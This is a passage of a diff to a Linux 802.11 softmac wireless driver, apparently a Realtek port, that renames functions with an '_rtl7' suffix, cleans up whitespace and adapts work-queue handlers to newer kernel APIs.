ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == 